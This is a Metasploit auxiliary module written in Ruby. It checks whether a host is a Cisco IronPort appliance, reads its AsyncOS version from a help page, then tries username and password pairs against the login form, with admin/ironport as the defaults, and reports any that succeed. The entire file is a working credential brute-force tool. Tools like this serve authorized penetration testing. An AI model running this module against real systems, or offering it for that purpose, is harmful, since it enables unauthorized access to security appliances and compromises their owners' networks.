##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'rex/proto/http'
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::AuthBrute
	include Msf::Auxiliary::Scanner

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Cisco Ironport Bruteforce Login Utility',
			'Description'    => %{
				This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
			version and performs login brute force to identify valid credentials.
			},
			'Author'         =>
				[
					'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
				],
			'License'        => MSF_LICENSE
		))

		register_options(
			[
				Opt::RPORT(443),
				OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
				OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
				OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
			], self.class)

		deregister_options('TARGETURI')

	end

	def run_host(ip)
		unless check_conn?
			print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
			return
		end

		unless is_app_ironport?
			print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
			return
		end

		print_status("#{rhost}:#{rport} - Starting login brute force...")
		each_user_pass do |user, pass|
			do_login(user, pass)
		end
	end

	def check_conn?
		begin
			res = send_request_cgi(
			{
				'uri'       => '/',
				'method'    => 'GET'
			})
			print_good("#{rhost}:#{rport} - Server is responsive...")
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
			return
		end
	end

	#
	# What's the point of running this module if the app actually isn't Cisco Ironp
ort?
	#

	def is_app_ironport?
			res = send_request_cgi(
			{
				'uri'       => '/',
				'method'    => 'GET'
			})

			if (res and res.headers['Set-Cookie'])

				cookie = res.headers['Set-Cookie'].split('; ')[0]

				res = send_request_cgi(
				{
					'uri'       => "/help/wwhelp/wwhimpl/common/html/default.htm",
					'method'    => 'GET',
					'cookie'	   => '#{cookie}'
				})

				if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
					version_key = /Cisco IronPort AsyncOS (.+? )/
					version = res.body.scan(version_key).flatten[0].gsub('"','')
					product_key = /for (.*)</
					product = res.body.scan(product_key).flatten[0]

					if (product == 'Security Management Appliances')
						p_name = 'Cisco IronPort Security Management Appliance (SMA)'
						print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
					elsif ( product == 'Cisco IronPort Web Security Appliances' )
						p_name = 'Cisco IronPort Web Security Appliance (WSA)'
						print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
					elsif ( product == 'Cisco IronPort Appliances' )
						p_name = 'Cisco IronPort Email Security Appliance (ESA)'
						print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
					end

					return true
				else
					return false
				end
			else
				return false
			end
	end

	#
	# Brute-force the login page
	#

	def do_login(user, pass)
		vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
		begin
			res = send_request_cgi(
			{
				'uri'       => '/login?CSRFKey=5PADuD3Z-10v3-b33R-5h0t-0n4h3R0cK555',
				'method'    => 'POST',
				'vars_post' =>
					{
						'action' => 'Login',
						'referrer' => '',
						'screen' => 'login',
						'username' => user,
						'password' => pass
					}
			})

			if (res and res.headers['Set-Cookie'].include?('authenticated='))
				print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")

				report_hash = {
					:host   => rhost,
					:port   => rport,
					:sname  => 'Cisco IronPort Appliance',
					:user   => user,
					:pass   => pass,
					:active => true,
					:type => 'password'
				}

				report_auth_info(report_hash)
				return :next_user

			else
				vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
			print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
			return :abort
		end
	end
end